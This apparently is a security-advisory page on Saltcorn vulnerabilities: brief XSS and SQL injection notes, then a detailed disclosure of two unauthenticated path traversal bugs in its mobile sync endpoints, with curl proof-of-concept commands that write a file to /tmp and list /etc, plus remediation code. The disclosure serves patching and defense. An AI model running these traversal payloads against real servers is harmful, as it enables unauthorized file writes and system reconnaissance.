See how saltcorn compares to other vendors in security performance
Saltcorn through 1.7.0-beta.5 contains a stored DOM-based cross-site scripting vulnerability that allows authenticated users to inject script by uploading files with percent-encoded HTML names. The expandthumbnail() function decodes the file name with decodeURIComponent and inserts it via jQuery .html(), executing script when any user, including administrators, clicks the thumbnail.
Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.6, 1.5.6, and 1.6.0-beta.5, a SQL injection vulnerability in Saltcorn’s mobile-sync routes allows any authenticated low-privilege user with read access to at least one table to inject arbitrary SQL through sync parameters. This can lead to full database exfiltration, including admin password hashes and configuration secrets, and may also enable database modification or destruction depending on the backend. This vulnerability is fixed in 1.4.6, 1.5.6, and 1.6.0-beta.5.
Summary
Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offlinechanges endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/uploadfinished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.
The safe path validation function File.normaliseinbase() exists in the codebase and is correctly used by the cleansyncdir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.
Details
Finding 1: Arbitrary file write — POST /sync/offlinechanges (sync.js line 226)
The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:
javascript const syncDirName = ${newSyncTimestamp}${req.user?.email || "public"}; const syncDir = path.join( rootFolder.location, "mobileapp", "sync", syncDirName ); await fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir await fs.writeFile( path.join(syncDir, "changes.json"), JSON.stringify(changes) // writes attacker content );
No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.
Finding 2: Arbitrary directory read — GET /sync/uploadfinished (sync.js line 288)
The dirname query parameter is used directly in path.join() without sanitization:
javascript const syncDir = path.join( rootFolder.location, "mobileapp", "sync", dirname ); let entries = await fs.readdir(syncDir);
Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.
Contrast — fixed endpoint in the same file (line 342):
The cleansyncdir endpoint correctly uses File.normaliseinbase():
javascript const syncDir = File.normaliseinbase( path.join(rootFolder.location, "mobileapp", "sync"), dirname ); if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });
PoC
bash Write arbitrary file to /tmp/ curl -X POST http://TARGET:3000/sync/offlinechanges \ -H "Content-Type: application/json" \ -d '{ "newSyncTimestamp": "../../../../tmp/saltcornpoc", "oldSyncTimestamp": "0", "changes": {"proof": "pathtraversalwrite"} }' Result: /tmp/saltcornpocpublic/changes.json created with attacker content
List /etc/ directory curl "http://TARGET:3000/sync/uploadfinished?dirname=../../../../etc"
Impact
- Unauthenticated arbitrary directory creation anywhere on the filesystem - Unauthenticated arbitrary JSON file write (changes.json) to any writable directory - Unauthenticated directory listing of arbitrary directories - Unauthenticated read of specific JSON files from arbitrary directories - Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)
Remediation
Apply File.normaliseinbase() to both endpoints, matching the existing pattern in cleansyncdir:
javascript // offlinechanges fix const syncDirName = ${newSyncTimestamp}${req.user?.email || "public"}; const syncDir = File.normaliseinbase( path.join(rootFolder.location, "mobileapp", "sync"), syncDirName ); if (!syncDir) { return res.status(400).json({ error: "Invalid sync directory name" }); }
// uploadfinished fix const syncDir = File.normaliseinbase( path.join(rootFolder.location, "mobileapp", "sync"), dirname ); if (!syncDir) { return res.json({ finished: false }); }
Additionally, add loggedIn middleware to endpoints that modify server state.